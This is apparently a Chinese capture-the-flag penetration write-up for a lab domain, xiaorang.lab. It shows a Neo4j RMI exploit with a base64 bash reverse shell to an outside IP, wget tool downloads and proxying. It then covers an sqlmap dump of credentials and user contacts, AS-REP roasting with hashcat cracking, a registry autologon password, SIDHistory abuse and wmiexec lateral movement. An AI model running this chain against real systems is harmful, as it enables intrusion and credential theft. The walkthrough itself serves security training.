flag1
先用fscan扫一下靶机./fscan -h 39.99.225.0 -p 1-65535
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| 39.99.225.0:22 open
39.99.225.0:1337 open
39.99.225.0:7474 open
39.99.225.0:7473 open
39.99.225.0:7687 open
39.99.225.0:43459 open
[*] alive ports len is: 6
start vulscan
[*] WebTitle http://39.99.225.0:7474 code:303 len:0 title:None 跳转url: http://39.99.225.0:7474/browser/
[*] WebTitle http://39.99.225.0:7474/browser/ code:200 len:3279 title:Neo4j Browser
[*] WebTitle https://39.99.225.0:7473 code:303 len:0 title:None 跳转url: https://39.99.225.0:7473/browser/
[*] WebTitle https://39.99.225.0:7687 code:400 len:50 title:None
[*] WebTitle https://39.99.225.0:7473/browser/ code:200 len:3279 title:Neo4j Browser
|
7687端口开着的，Neo4j Browser，存在nday CVE-2021-34371 https://github.com/zwjjustdoit/CVE-2021-34371.jar
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| echo -n "bash -i >& /dev/tcp/8.137.148.227/9999 0>&1" | base64
java -jar ./rhino_gadget.jar rmi://39.99.225.0:1337 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjEzNy4xNDguMjI3Lzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}"
|
flag2
搭建代理和传fscan，我们把工具放在服务器的网站根目录，然后wget去下载
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| cd /tmp
wget http://8.137.148.227/fscan
wget http://8.137.148.227/agent
chmod +x *
|
获得内网的信息
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| (icmp) Target 172.22.6.38 is alive
(icmp) Target 172.22.6.36 is alive
(icmp) Target 172.22.6.25 is alive
(icmp) Target 172.22.6.12 is alive
[*] Icmp alive hosts len is: 4
172.22.6.36:22 open
172.22.6.38:22 open
172.22.6.12:445 open
172.22.6.25:445 open
172.22.6.12:139 open
172.22.6.25:139 open
172.22.6.25:135 open
172.22.6.12:135 open
172.22.6.38:80 open
172.22.6.12:88 open
172.22.6.36:7687 open
[*] alive ports len is: 11
start vulscan
[*] NetInfo
[*]172.22.6.25
[->]WIN2019
[->]172.22.6.25
[*] NetInfo
[*]172.22.6.12
[->]DC-PROGAME
[->]172.22.6.12
[*] NetBios 172.22.6.25 XIAORANG\WIN2019
[*] OsInfo 172.22.6.12 (Windows Server 2016 Datacenter 14393)
[*] NetBios 172.22.6.12 [+] DC:DC-PROGAME.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] WebTitle http://172.22.6.38 code:200 len:1531 title:后台登录
[*] WebTitle https://172.22.6.36:7687 code:400 len:50 title:None
|
- 172.22.6.38 web机器，可以后台登录？
- 172.22.6.36 已经被控
- 172.22.6.25 XIAORANG\WIN2019
- 172.22.6.12 DC-PROGAME.xiaorang.lab
搭建代理，准备控制38
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| nohup ./agent -bind 0.0.0.0:10010 > agent.log 2>&1 &
sudo ./proxy -selfcert -laddr "0.0.0.0:10001"
connect_agent --ip 39.99.225.0:10010
interface_list
session
autoroute
nohup ./gost -L=socks://:1080 > gost.log 2>&1 &
# 查看是否开启
ss -luntp
|
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| POST /index.php HTTP/1.1
Host: 172.22.6.38
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Origin: http://172.22.6.38
Referer: http://172.22.6.38/index.php
Cache-Control: max-age=0
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
username=admin&password=fadfadfadf
|
我觉得Sqlmap可以打sqlmap -r 1.txt --dump直接一把梭哈了
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| Database: oa_db
Table: oa_f1Agggg
[1 entry]
+----+--------------------------------------------+
| id | flag02 |
+----+--------------------------------------------+
| 1 | flag{b142f5ce-d9b8-4b73-9012-ad75175ba029} |
+----+--------------------------------------------+
Database: oa_db
Table: oa_admin
[1 entry]
+----+------------------+---------------+
| id | password | username |
+----+------------------+---------------+
| 1 | bo2y8kAL3HnXUiQo | administrator |
+----+------------------+---------------+
Database: oa_db
Table: oa_users
[500 entries]
+-----+----------------------------+-------------+-----------------+
| id | email | phone | username |
+-----+----------------------------+-------------+-----------------+
[06:10:24] [WARNING] console output will be trimmed to last 256 rows due to large table size
| 245 | chenyan@xiaorang.lab | 18281528743 | CHEN YAN |
| 246 | tanggui@xiaorang.lab | 18060615547 | TANG GUI |
| 247 | buning@xiaorang.lab | 13046481392 | BU NING |
| 248 | beishu@xiaorang.lab | 18268508400 | BEI SHU |
| 249 | shushi@xiaorang.lab | 17770383196 | SHU SHI |
| 250 | fuyi@xiaorang.lab | 18902082658 | FU YI |
| 251 | pangcheng@xiaorang.lab | 18823789530 | PANG CHENG |
| 252 | tonghao@xiaorang.lab | 13370873526 | TONG HAO |
| 253 | jiaoshan@xiaorang.lab | 15375905173 | JIAO SHAN |
| 254 | dulun@xiaorang.lab | 13352331157 | DU LUN |
| 255 | kejuan@xiaorang.lab | 13222550481 | KE JUAN |
| 256 | gexin@xiaorang.lab | 18181553086 | GE XIN |
| 257 | lugu@xiaorang.lab | 18793883130 | LU GU |
| 258 | guzaicheng@xiaorang.lab | 15309377043 | GU ZAI CHENG |
| 259 | feicai@xiaorang.lab | 13077435367 | FEI CAI |
| 260 | ranqun@xiaorang.lab | 18239164662 | RAN QUN |
| 261 | zhouyi@xiaorang.lab | 13169264671 | ZHOU YI |
| 262 | shishu@xiaorang.lab | 18592890189 | SHI SHU |
| 263 | yanyun@xiaorang.lab | 15071085768 | YAN YUN |
| 264 | chengqiu@xiaorang.lab | 13370162980 | CHENG QIU |
| 265 | louyou@xiaorang.lab | 13593582379 | LOU YOU |
| 266 | maqun@xiaorang.lab | 15235945624 | MA QUN |
| 267 | wenbiao@xiaorang.lab | 13620643639 | WEN BIAO |
| 268 | weishengshan@xiaorang.lab | 18670502260 | WEI SHENG SHAN |
| 269 | zhangxin@xiaorang.lab | 15763185760 | ZHANG XIN |
| 270 | chuyuan@xiaorang.lab | 18420545268 | CHU YUAN |
| 271 | wenliang@xiaorang.lab | 13601678032 | WEN LIANG |
| 272 | yulvxue@xiaorang.lab | 18304374901 | YU LV XUE |
| 273 | luyue@xiaorang.lab | 18299785575 | LU YUE |
| 274 | ganjian@xiaorang.lab | 18906111021 | GAN JIAN |
| 275 | pangzhen@xiaorang.lab | 13479328562 | PANG ZHEN |
| 276 | guohong@xiaorang.lab | 18510220597 | GUO HONG |
| 277 | lezhong@xiaorang.lab | 15320909285 | LE ZHONG |
| 278 | sheweiyue@xiaorang.lab | 13736399596 | SHE WEI YUE |
| 279 | dujian@xiaorang.lab | 15058892639 | DU JIAN |
| 280 | lidongjin@xiaorang.lab | 18447207007 | LI DONG JIN |
| 281 | hongqun@xiaorang.lab | 15858462251 | HONG QUN |
| 282 | yexing@xiaorang.lab | 13719043564 | YE XING |
| 283 | maoda@xiaorang.lab | 13878840690 | MAO DA |
| 284 | qiaomei@xiaorang.lab | 13053207462 | QIAO MEI |
| 285 | nongzhen@xiaorang.lab | 15227699960 | NONG ZHEN |
| 286 | dongshu@xiaorang.lab | 15695562947 | DONG SHU |
| 287 | zhuzhu@xiaorang.lab | 13070163385 | ZHU ZHU |
| 288 | jiyun@xiaorang.lab | 13987332999 | JI YUN |
| 289 | qiguanrou@xiaorang.lab | 15605983582 | QI GUAN ROU |
| 290 | yixue@xiaorang.lab | 18451603140 | YI XUE |
| 291 | chujun@xiaorang.lab | 15854942459 | CHU JUN |
| 292 | shenshan@xiaorang.lab | 17712052191 | SHEN SHAN |
| 293 | lefen@xiaorang.lab | 13271196544 | LE FEN |
| 294 | yubo@xiaorang.lab | 13462202742 | YU BO |
| 295 | helianrui@xiaorang.lab | 15383000907 | HE LIAN RUI |
| 296 | xuanqun@xiaorang.lab | 18843916267 | XUAN QUN |
| 297 | shangjun@xiaorang.lab | 15162486698 | SHANG JUN |
| 298 | huguang@xiaorang.lab | 18100586324 | HU GUANG |
| 299 | wansifu@xiaorang.lab | 18494761349 | WAN SI FU |
| 300 | fenghong@xiaorang.lab | 13536727314 | FENG HONG |
| 301 | wanyan@xiaorang.lab | 17890844429 | WAN YAN |
| 302 | diyan@xiaorang.lab | 18534028047 | DI YAN |
| 303 | xiangyu@xiaorang.lab | 13834043047 | XIANG YU |
| 304 | songyan@xiaorang.lab | 15282433280 | SONG YAN |
| 305 | fandi@xiaorang.lab | 15846960039 | FAN DI |
| 306 | xiangjuan@xiaorang.lab | 18120327434 | XIANG JUAN |
| 307 | beirui@xiaorang.lab | 18908661803 | BEI RUI |
| 308 | didi@xiaorang.lab | 13413041463 | DI DI |
| 309 | zhubin@xiaorang.lab | 15909558554 | ZHU BIN |
| 310 | lingchun@xiaorang.lab | 13022790678 | LING CHUN |
| 311 | zhenglu@xiaorang.lab | 13248244873 | ZHENG LU |
| 312 | xundi@xiaorang.lab | 18358493414 | XUN DI |
| 313 | wansishun@xiaorang.lab | 18985028319 | WAN SI SHUN |
| 314 | yezongyue@xiaorang.lab | 13866302416 | YE ZONG YUE |
| 315 | bianmei@xiaorang.lab | 18540879992 | BIAN MEI |
| 316 | shanshao@xiaorang.lab | 18791488918 | SHAN SHAO |
| 317 | zhenhui@xiaorang.lab | 13736784817 | ZHEN HUI |
| 318 | chengli@xiaorang.lab | 15913267394 | CHENG LI |
| 319 | yufen@xiaorang.lab | 18432795588 | YU FEN |
| 320 | jiyi@xiaorang.lab | 13574211454 | JI YI |
| 321 | panbao@xiaorang.lab | 13675851303 | PAN BAO |
| 322 | mennane@xiaorang.lab | 15629706208 | MEN NAN E |
| 323 | fengsi@xiaorang.lab | 13333432577 | FENG SI |
| 324 | mingyan@xiaorang.lab | 18296909463 | MING YAN |
| 325 | luoyou@xiaorang.lab | 15759321415 | LUO YOU |
| 326 | liangduanqing@xiaorang.lab | 13150744785 | LIANG DUAN QING |
| 327 | nongyan@xiaorang.lab | 18097386975 | NONG YAN |
| 328 | haolun@xiaorang.lab | 15152700465 | HAO LUN |
| 329 | oulun@xiaorang.lab | 13402760696 | OU LUN |
| 330 | weichipeng@xiaorang.lab | 18057058937 | WEI CHI PENG |
| 331 | qidiaofang@xiaorang.lab | 18728297829 | QI DIAO FANG |
| 332 | xuehe@xiaorang.lab | 13398862169 | XUE HE |
| 333 | chensi@xiaorang.lab | 18030178713 | CHEN SI |
| 334 | guihui@xiaorang.lab | 17882514129 | GUI HUI |
| 335 | fuyue@xiaorang.lab | 18298436549 | FU YUE |
| 336 | wangxing@xiaorang.lab | 17763645267 | WANG XING |
| 337 | zhengxiao@xiaorang.lab | 18673968392 | ZHENG XIAO |
| 338 | guhui@xiaorang.lab | 15166711352 | GU HUI |
| 339 | baoai@xiaorang.lab | 15837430827 | BAO AI |
| 340 | hangzhao@xiaorang.lab | 13235488232 | HANG ZHAO |
| 341 | xingye@xiaorang.lab | 13367587521 | XING YE |
| 342 | qianyi@xiaorang.lab | 18657807767 | QIAN YI |
| 343 | xionghong@xiaorang.lab | 17725874584 | XIONG HONG |
| 344 | zouqi@xiaorang.lab | 15300430128 | ZOU QI |
| 345 | rongbiao@xiaorang.lab | 13034242682 | RONG BIAO |
| 346 | gongxin@xiaorang.lab | 15595839880 | GONG XIN |
| 347 | luxing@xiaorang.lab | 18318675030 | LU XING |
| 348 | huayan@xiaorang.lab | 13011805354 | HUA YAN |
| 349 | duyue@xiaorang.lab | 15515878208 | DU YUE |
| 350 | xijun@xiaorang.lab | 17871583183 | XI JUN |
| 351 | daiqing@xiaorang.lab | 18033226216 | DAI QING |
| 352 | yingbiao@xiaorang.lab | 18633421863 | YING BIAO |
| 353 | hengteng@xiaorang.lab | 15956780740 | HENG TENG |
| 354 | changwu@xiaorang.lab | 15251485251 | CHANG WU |
| 355 | chengying@xiaorang.lab | 18788248715 | CHENG YING |
| 356 | luhong@xiaorang.lab | 17766091079 | LU HONG |
| 357 | tongxue@xiaorang.lab | 18466102780 | TONG XUE |
| 358 | xiangqian@xiaorang.lab | 13279611385 | XIANG QIAN |
| 359 | shaokang@xiaorang.lab | 18042645434 | SHAO KANG |
| 360 | nongzhu@xiaorang.lab | 13934236634 | NONG ZHU |
| 361 | haomei@xiaorang.lab | 13406913218 | HAO MEI |
| 362 | maoqing@xiaorang.lab | 15713298425 | MAO QING |
| 363 | xiai@xiaorang.lab | 18148404789 | XI AI |
| 364 | bihe@xiaorang.lab | 13628593791 | BI HE |
| 365 | gaoli@xiaorang.lab | 15814408188 | GAO LI |
| 366 | jianggong@xiaorang.lab | 15951118926 | JIANG GONG |
| 367 | pangning@xiaorang.lab | 13443921700 | PANG NING |
| 368 | ruishi@xiaorang.lab | 15803112819 | RUI SHI |
| 369 | wuhuan@xiaorang.lab | 13646953078 | WU HUAN |
| 370 | qiaode@xiaorang.lab | 13543564200 | QIAO DE |
| 371 | mayong@xiaorang.lab | 15622971484 | MA YONG |
| 372 | hangda@xiaorang.lab | 15937701659 | HANG DA |
| 373 | changlu@xiaorang.lab | 13734991654 | CHANG LU |
| 374 | liuyuan@xiaorang.lab | 15862054540 | LIU YUAN |
| 375 | chenggu@xiaorang.lab | 15706685526 | CHENG GU |
| 376 | shentuyun@xiaorang.lab | 15816902379 | SHEN TU YUN |
| 377 | zhuangsong@xiaorang.lab | 17810274262 | ZHUANG SONG |
| 378 | chushao@xiaorang.lab | 18822001640 | CHU SHAO |
| 379 | heli@xiaorang.lab | 13701347081 | HE LI |
| 380 | haoming@xiaorang.lab | 15049615282 | HAO MING |
| 381 | xieyi@xiaorang.lab | 17840660107 | XIE YI |
| 382 | shangjie@xiaorang.lab | 15025010410 | SHANG JIE |
| 383 | situxin@xiaorang.lab | 18999728941 | SI TU XIN |
| 384 | linxi@xiaorang.lab | 18052976097 | LIN XI |
| 385 | zoufu@xiaorang.lab | 15264535633 | ZOU FU |
| 386 | qianqing@xiaorang.lab | 18668594658 | QIAN QING |
| 387 | qiai@xiaorang.lab | 18154690198 | QI AI |
| 388 | ruilin@xiaorang.lab | 13654483014 | RUI LIN |
| 389 | luomeng@xiaorang.lab | 15867095032 | LUO MENG |
| 390 | huaren@xiaorang.lab | 13307653720 | HUA REN |
| 391 | yanyangmei@xiaorang.lab | 15514015453 | YAN YANG MEI |
| 392 | zuofen@xiaorang.lab | 15937087078 | ZUO FEN |
| 393 | manyuan@xiaorang.lab | 18316106061 | MAN YUAN |
| 394 | yuhui@xiaorang.lab | 18058257228 | YU HUI |
| 395 | sunli@xiaorang.lab | 18233801124 | SUN LI |
| 396 | guansixin@xiaorang.lab | 13607387740 | GUAN SI XIN |
| 397 | ruisong@xiaorang.lab | 13306021674 | RUI SONG |
| 398 | qiruo@xiaorang.lab | 13257810331 | QI RUO |
| 399 | jinyu@xiaorang.lab | 18565922652 | JIN YU |
| 400 | shoujuan@xiaorang.lab | 18512174415 | SHOU JUAN |
| 401 | yanqian@xiaorang.lab | 13799789435 | YAN QIAN |
| 402 | changyun@xiaorang.lab | 18925015029 | CHANG YUN |
| 403 | hualu@xiaorang.lab | 13641470801 | HUA LU |
| 404 | huanming@xiaorang.lab | 15903282860 | HUAN MING |
| 405 | baoshao@xiaorang.lab | 13795275611 | BAO SHAO |
| 406 | hongmei@xiaorang.lab | 13243605925 | HONG MEI |
| 407 | manyun@xiaorang.lab | 13238107359 | MAN YUN |
| 408 | changwan@xiaorang.lab | 13642205622 | CHANG WAN |
| 409 | wangyan@xiaorang.lab | 13242486231 | WANG YAN |
| 410 | shijian@xiaorang.lab | 15515077573 | SHI JIAN |
| 411 | ruibei@xiaorang.lab | 18157706586 | RUI BEI |
| 412 | jingshao@xiaorang.lab | 18858376544 | JING SHAO |
| 413 | jinzhi@xiaorang.lab | 18902437082 | JIN ZHI |
| 414 | yuhui@xiaorang.lab | 15215599294 | YU HUI |
| 415 | zangpeng@xiaorang.lab | 18567574150 | ZANG PENG |
| 416 | changyun@xiaorang.lab | 15804640736 | CHANG YUN |
| 417 | yetai@xiaorang.lab | 13400150018 | YE TAI |
| 418 | luoxue@xiaorang.lab | 18962643265 | LUO XUE |
| 419 | moqian@xiaorang.lab | 18042706956 | MO QIAN |
| 420 | xupeng@xiaorang.lab | 15881934759 | XU PENG |
| 421 | ruanyong@xiaorang.lab | 15049703903 | RUAN YONG |
| 422 | guliangxian@xiaorang.lab | 18674282714 | GU LIANG XIAN |
| 423 | yinbin@xiaorang.lab | 15734030492 | YIN BIN |
| 424 | huarui@xiaorang.lab | 17699257041 | HUA RUI |
| 425 | niuya@xiaorang.lab | 13915041589 | NIU YA |
| 426 | guwei@xiaorang.lab | 13584571917 | GU WEI |
| 427 | qinguan@xiaorang.lab | 18427953434 | QIN GUAN |
| 428 | yangdanhan@xiaorang.lab | 15215900100 | YANG DAN HAN |
| 429 | yingjun@xiaorang.lab | 13383367818 | YING JUN |
| 430 | weiwan@xiaorang.lab | 13132069353 | WEI WAN |
| 431 | sunduangu@xiaorang.lab | 15737981701 | SUN DUAN GU |
| 432 | sisiwu@xiaorang.lab | 18021600640 | SI SI WU |
| 433 | nongyan@xiaorang.lab | 13312613990 | NONG YAN |
| 434 | xuanlu@xiaorang.lab | 13005748230 | XUAN LU |
| 435 | yunzhong@xiaorang.lab | 15326746780 | YUN ZHONG |
| 436 | gengfei@xiaorang.lab | 13905027813 | GENG FEI |
| 437 | zizhuansong@xiaorang.lab | 13159301262 | ZI ZHUAN SONG |
| 438 | ganbailong@xiaorang.lab | 18353612904 | GAN BAI LONG |
| 439 | shenjiao@xiaorang.lab | 15164719751 | SHEN JIAO |
| 440 | zangyao@xiaorang.lab | 18707028470 | ZANG YAO |
| 441 | yangdanhe@xiaorang.lab | 18684281105 | YANG DAN HE |
| 442 | chengliang@xiaorang.lab | 13314617161 | CHENG LIANG |
| 443 | xudi@xiaorang.lab | 18498838233 | XU DI |
| 444 | wulun@xiaorang.lab | 18350490780 | WU LUN |
| 445 | yuling@xiaorang.lab | 18835870616 | YU LING |
| 446 | taoya@xiaorang.lab | 18494928860 | TAO YA |
| 447 | jinle@xiaorang.lab | 15329208123 | JIN LE |
| 448 | youchao@xiaorang.lab | 13332964189 | YOU CHAO |
| 449 | liangduanzhi@xiaorang.lab | 15675237494 | LIANG DUAN ZHI |
| 450 | jiagupiao@xiaorang.lab | 17884962455 | JIA GU PIAO |
| 451 | ganze@xiaorang.lab | 17753508925 | GAN ZE |
| 452 | jiangqing@xiaorang.lab | 15802357200 | JIANG QING |
| 453 | jinshan@xiaorang.lab | 13831466303 | JIN SHAN |
| 454 | zhengpubei@xiaorang.lab | 13690156563 | ZHENG PU BEI |
| 455 | cuicheng@xiaorang.lab | 17641589842 | CUI CHENG |
| 456 | qiyong@xiaorang.lab | 13485427829 | QI YONG |
| 457 | qizhu@xiaorang.lab | 18838859844 | QI ZHU |
| 458 | ganjian@xiaorang.lab | 18092585003 | GAN JIAN |
| 459 | yurui@xiaorang.lab | 15764121637 | YU RUI |
| 460 | feishu@xiaorang.lab | 18471512248 | FEI SHU |
| 461 | chenxin@xiaorang.lab | 13906545512 | CHEN XIN |
| 462 | shengzhe@xiaorang.lab | 18936457394 | SHENG ZHE |
| 463 | wohong@xiaorang.lab | 18404022650 | WO HONG |
| 464 | manzhi@xiaorang.lab | 15973350408 | MAN ZHI |
| 465 | xiangdong@xiaorang.lab | 13233908989 | XIANG DONG |
| 466 | weihui@xiaorang.lab | 15035834945 | WEI HUI |
| 467 | xingquan@xiaorang.lab | 18304752969 | XING QUAN |
| 468 | miaoshu@xiaorang.lab | 15121570939 | MIAO SHU |
| 469 | gongwan@xiaorang.lab | 18233990398 | GONG WAN |
| 470 | qijie@xiaorang.lab | 15631483536 | QI JIE |
| 471 | shaoting@xiaorang.lab | 15971628914 | SHAO TING |
| 472 | xiqi@xiaorang.lab | 18938747522 | XI QI |
| 473 | jinghong@xiaorang.lab | 18168293686 | JING HONG |
| 474 | qianyou@xiaorang.lab | 18841322688 | QIAN YOU |
| 475 | chuhua@xiaorang.lab | 15819380754 | CHU HUA |
| 476 | yanyue@xiaorang.lab | 18702474361 | YAN YUE |
| 477 | huangjia@xiaorang.lab | 13006878166 | HUANG JIA |
| 478 | zhouchun@xiaorang.lab | 13545820679 | ZHOU CHUN |
| 479 | jiyu@xiaorang.lab | 18650881187 | JI YU |
| 480 | wendong@xiaorang.lab | 17815264093 | WEN DONG |
| 481 | heyuan@xiaorang.lab | 18710821773 | HE YUAN |
| 482 | mazhen@xiaorang.lab | 18698248638 | MA ZHEN |
| 483 | shouchun@xiaorang.lab | 15241369178 | SHOU CHUN |
| 484 | liuzhe@xiaorang.lab | 18530936084 | LIU ZHE |
| 485 | fengbo@xiaorang.lab | 15812110254 | FENG BO |
| 486 | taigongyuan@xiaorang.lab | 15943349034 | TAI GONG YUAN |
| 487 | gesheng@xiaorang.lab | 18278508909 | GE SHENG |
| 488 | songming@xiaorang.lab | 13220512663 | SONG MING |
| 489 | yuwan@xiaorang.lab | 15505678035 | YU WAN |
| 490 | diaowei@xiaorang.lab | 13052582975 | DIAO WEI |
| 491 | youyi@xiaorang.lab | 18036808394 | YOU YI |
| 492 | rongxianyu@xiaorang.lab | 18839918955 | RONG XIAN YU |
| 493 | fuyi@xiaorang.lab | 15632151678 | FU YI |
| 494 | linli@xiaorang.lab | 17883399275 | LIN LI |
| 495 | weixue@xiaorang.lab | 18672465853 | WEI XUE |
| 496 | hejuan@xiaorang.lab | 13256081102 | HE JUAN |
| 497 | zuoqiutai@xiaorang.lab | 18093001354 | ZUO QIU TAI |
| 498 | siyi@xiaorang.lab | 17873307773 | SI YI |
| 499 | shenshan@xiaorang.lab | 18397560369 | SHEN SHAN |
| 500 | tongdong@xiaorang.lab | 15177549595 | TONG DONG |
+-----+----------------------------+-------------+-----------------+
|
flag3&&flag4
得到域用户名，我们写个脚本给提取出来
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| #!/usr/bin/env python3
def extract_usernames(filename):
usernames = []
with open(filename, 'r', encoding='utf-8') as f:
lines = f.readlines()
# 跳过表头和分隔线
for line in lines[3:]: # 跳过前3行（表头和分隔线）
if '+-----+' in line: # 跳过底部分隔线
continue
parts = line.split('|')
if len(parts) >= 3: # 确保行有足够的列
email_part = parts[2].strip() # 第二列是email (索引从1开始，所以是parts[2])
if '@xiaorang.lab' in email_part:
username = email_part.split('@')[0].strip()
usernames.append(username)
return usernames
def save_usernames(usernames, output_file='usernames.txt'):
with open(output_file, 'w', encoding='utf-8') as f:
for username in usernames:
f.write(username + '\n')
print(f'已成功提取 {len(usernames)} 个用户名并保存到 {output_file}')
if __name__ == "__main__":
input_file = "1.txt"
usernames = extract_usernames(input_file)
save_usernames(usernames)
# 打印前5个提取的用户名以验证
if usernames:
print("\n提取的前5个用户名示例:")
for i in range(min(5, len(usernames))):
print(usernames[i])
else:
print("\n没有提取到任何用户名，请检查文件格式!")
|
利用获取到的用户进行ASREPRoast攻击。
Kerberos认证协议的一个特性，枚举不要求Kerberos预身份验证的域用户(默认不关闭)，但是关闭了之后，就可以使用指定用户向域控制器的Kerberos 88端口请求票据，此时域控不会进行任何验证就将TGT和该用户Hash加密的Login Session Key 返回。进行离线破解，得到账户密码
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| impacket-GetNPUsers -dc-ip 172.22.6.12 -usersfile usernames.txt xiaorang.lab/
|
得到hash
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| $krb5asrep$23$zhangxin@XIAORANG.LAB:8f3e18c2b8cd843f2aeb7d6ff8d7dc4c$26e42387c6eb91347301ddd17ebd396e1bf4ff872d75407f9eb071d9e0bb7385ea91ebacd124c42a05f1ec0a1d38110d71f38c19bffd02b13c38f39605c67a4ee2f4de52131eefccfabe09920a57b559ff90d497443efff9afa5e9b4893c11ec949c018496341c2e3ba9a97da3ed40ee2b24fcb2dd040834317dd71f8b808e6542585aab3fffdb3d564934fdf9a470b7095bd74b6060dc203812f9fe173dab6ed6b01a4a3de9ff59c780ffbd9a8af5ff06cbaf304a5a754bf57e0b3f13475759288ed005e3d7a468f1ea218111079f9612bafae991edc654db5be4a4effe4259129c0753ac279e8306a4afda
|
用hashcat来破解，.\hashcat -m 18200 1 -a 0 ./rockyou.txt --force
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| zhangxin@xiaorang.lab
strawberry
|
发现是域用户，进行域内信息收集，
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| cd C:\Users\zhangxin\Desktop
SharpHound.exe -c all
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query user发现有其他用户会话
查询注册表看看存没存默认的用户密码
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| reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
DefaultUserName REG_SZ yuxuan
DefaultPassword REG_SZ Yuxuan7QbrgZ3L
DefaultDomainName REG_SZ xiaorang.lab
|
现在来看看域内信息图
The user YUXUAN@XIAORANG.LAB has, in its SIDHistory attribute, the SID for the user ADMINISTRATOR@XIAORANG.LAB.userYUXUAN@XIAORANG.LAB
在其 SIDHistory 属性中具有 theuserADMINISTRATOR@XIAORANG.LAB 的 SID。
When a kerberos ticket is created for YUXUAN@XIAORANG.LAB, it will include the SID for ADMINISTRATOR@XIAORANG.LAB, and therefore grantYUXUAN@XIAORANG.LAB the same privileges and permissions asADMINISTRATOR@XIAORANG.LAB.为 YUXUAN@XIAORANG
创建 kerberos 票证时。LAB 的 SID 中，它将包括 ADMINISTRATOR@XIAORANG 的 SID。LAB grantYUXUAN@XIAORANG asADMINISTRATOR@XIAORANG.LAB 具有相同的特权和权限。
也就是说我们现在手里的这个yuxuan用户是已经被SID History攻击过后的产物，他已经是域管理员了
登录yuxuan，看看用户组whoami /groups
直接横向即可
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| impacket-wmiexec XIAORANG/yuxuan:Yuxuan7QbrgZ3L@172.22.6.25 -codec gbk
impacket-wmiexec XIAORANG/yuxuan:Yuxuan7QbrgZ3L@172.22.6.12 -codec gbk
|